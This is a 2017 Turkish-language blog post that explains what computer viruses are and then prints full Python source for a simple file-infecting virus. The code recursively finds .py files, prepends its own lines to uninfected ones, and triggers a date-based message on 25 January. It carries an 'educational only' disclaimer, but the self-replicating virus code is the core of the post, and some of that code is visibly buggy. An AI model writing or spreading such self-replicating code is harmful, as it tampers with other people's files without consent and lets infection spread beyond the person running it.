24 Mayıs 2017 Çarşamba

Virüs nedir? Python Dili İle Basit Bir Virüs Nasıl Yazılır?

virüs korunma yolları

Virüsler dijital dünyanın korkulu rüyası. Eskiden yalnızca bilgisayarı tehdit eden bu virüsler günümüzde internete erişimi olan hemen hemen her türlü teknolojik cihazı ilgilendiriyor. Peki virüs denilen kavram tam olarak nedir? Basit bir virüs nasıl yazılır?



Virüsler, kısaca kötü niyetli programlardır (malware). Bir kez çalıştırıldığı anda kendini yeniden üretir ya da diğer program dosyalarına kopyalar. İşletim sistemi açıldıktan sonra kullandığımız programlardan, veri dosyalarına ve bilgisayar başlatılırken çalışan programlara kadar bulaşabilir.

"Virüs" kelimesi genellikle yanlış kullanılır. Bu aslında; truva atı, BHO, solucan, rootkit, spyware, Malware'leri gibi bir tür Malware'dir. Virüsler aslında, bulaştığı cihazda zararlı aktiviteler yapan kötü niyetli yazılımlardır. Örnek olarak; hard diskleri kilitlemek, kredi kartı numaralarını ele geçirmek, işlemcilerin çalışmasında bozukluklar meydana getirmek, e-posta adreslerine sızarak toplu spam mesajlar göndermek ve virüsü yaymaya çalışmak gibi. Virüs yazılımcıları, sosyal mühendislik ismi verilen kandırma yöntemleriyle hedeflerinin zayıf yanlarını yakalar ve bilgisayarlarına sızarlar. Birçok virüs, özellikle Windows işletim sistemini hedef alır ve çoğu kez siyasi mesaj, kişisel eğlence gibi sebeplerle atak yaparlar.

bilgisayar virüsü nasıl yazılır

Şayet siz de siber dünyanın bu tarafını keşfetmek istiyorsanız ve verilerinizi ele geçirmeye çalışan kötü niyetli hackerlara karşı tedbir geliştirmek amacıyla bir şeyler öğrenmek istiyorsanız, aşağıda basit bir virüsün kodları bulunmakta.

NOT : Aşağıda yer alan virüs kodu sadece güvenlik uzmanı alanında kendini geliştirmek isteyenler için eğitim amacı güdüyor. Verilen kodları sadece size ait bir sistemde deneyiniz.

bilgisayar virüsü nedir

<code>#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i&gt;=0 and i &lt;39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT"S AN EVIL ALUGH BY THE WAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()</code>

Yazan : Abdullah Kırıcıkaya

Hiç yorum yok:

Yorum Gönder

İş yoğunluğum dolayısıyla yorumlara cevap veremeyebilirim. Anlayışınız icin teşekkürler.